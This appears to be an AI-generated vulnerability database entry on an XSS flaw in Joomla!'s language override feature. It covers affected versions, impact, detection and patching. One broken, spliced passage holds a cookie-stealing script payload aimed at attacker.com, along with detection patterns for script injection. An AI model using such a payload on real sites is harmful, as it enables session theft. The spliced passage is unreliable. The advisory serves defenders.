
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-48954 is a Cross-Site Scripting (XSS) vulnerability in the Joomla! CMS language override feature caused by improper input validation. It affects Joomla! versions 3.0.0 through 5.4.6 and 6.0.0 through 6.1.1, with fixed versions being 5.4.7 and 6.1.2 respectively. The vulnerability was published on July 7, 2026, and assigned a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.9 (Medium) (GitHub Advisory, Joomla Security Centre).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), rooted in insufficient validation of user-supplied input within Joomla!'s language override feature (GitHub Advisory). An attacker can inject arbitrary JavaScript payloads through this feature, which are then rendered and executed in the browsers of other users who visit affected pages. Exploitation requires user interaction (a victim must load the page containing the injected script) but does not require authentication from the attacker's perspective under the CVSS v3.1 scoring, making it a reflected or stored XSS vector accessible over the network (Joomla Security Centre).
Successful exploitation allows an unauthenticated attacker to inject malicious JavaScript that executes in the context of other users' browsers, enabling session token theft, unauthorized actions performed on behalf of victims, and redirection to malicious sites (GitHub Advisory). The CVSS v4.0 scoring indicates high confidentiality and integrity impact on the vulnerable system, with low availability impact. While the scope is limited to client-side execution (no subsequent system impact), compromised administrator sessions could lead to broader site compromise.
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) that bypasses the insufficient input validation.<script>, onerror=, onload=) in parameter values; repeated requests to language override admin pages from unfamiliar IP addresses.Joomla! has released patched versions 5.4.7 (for the 3.x–5.x branch) and 6.1.2 (for the 6.x branch); upgrading to these versions is the primary recommended remediation (Joomla Security Centre, GitHub Advisory). As a temporary workaround prior to patching, administrators should disable or restrict access to the language override feature and implement a Web Application Firewall (WAF) rule to block requests containing script injection patterns targeting this functionality. Enforcing strict Content Security Policy (CSP) headers can also reduce the impact of any successful XSS injection.
The vulnerability was noted by CERT GARR (Italy's academic and research network CERT), which issued a security alert regarding the Joomla! update. Tenable added detection support via pipeline and WAS plugins shortly after disclosure. No significant public researcher commentary or social media debate has been observed beyond standard CVE tracking and aggregation activity.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."